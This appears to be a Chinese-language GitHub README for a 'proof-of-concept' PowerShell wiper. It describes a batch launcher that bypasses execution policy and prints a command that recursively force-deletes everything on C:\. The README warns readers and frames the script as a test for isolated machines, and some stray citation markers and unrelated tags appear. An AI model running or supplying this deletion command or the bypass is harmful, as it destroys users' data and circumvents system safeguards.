hazedxz/Powershell-TotalClean
GitHub: hazedxz/Powershell-TotalClean
一个概念验证性质的 PowerShell 破坏性操作模拟脚本,用于在隔离环境中演示执行策略绕过与递归文件删除的攻击原理。
Stars: 0 | Forks: 0
# PowerShell 破坏性操作模拟器
**严重警告:这是一个破坏性脚本。**
本代码库包含一个 PowerShell 脚本,旨在递归删除主系统驱动器 (`C:\`) 上的文件。它严格仅用于教育目的以及在隔离的非生产环境(例如,一次性虚拟机)中进行的授权安全测试。请勿在包含重要数据的任何系统上执行此脚本。
## 概述
本项目演示了如何以破坏性的方式使用 Windows 内置的管理命令。它重点介绍了攻击性安全和系统管理中的两个核心概念:
1. **执行策略绕过:** 通过批处理包装器使用 `-ExecutionPolicy Bypass` 标志来绕过本地的 PowerShell 执行限制 [cite: 3, 4]。
2. **破坏性文件操作:** 利用带有递归和强制参数的 `Remove-Item` cmdlet 来模拟灾难性的 payload。
## 代码库内容
| 文件 | 用途 |
| :--- | :--- |
| `TotalClean.ps1` | 核心 PowerShell 脚本。它会改变控制台外观,启动用于视觉效果的倒计时序列,并执行递归删除命令。 |
| `LaunchClean.bat` | 一个批处理启动器,旨在标准控制台窗口中以绕过执行策略的方式执行 PowerShell 脚本 [cite: 3, 4]。 |
## 技术分析
该脚本的核心功能依赖于以下命令:
```
Remove-Item -Path C:\* -Recurse -Force -ErrorAction SilentlyContinue
```
标签:AI合规, IPv6, Libemu, OpenCanary, PowerShell, 安全, 数据展示, 概念验证, 破坏性载荷, 红队, 超时处理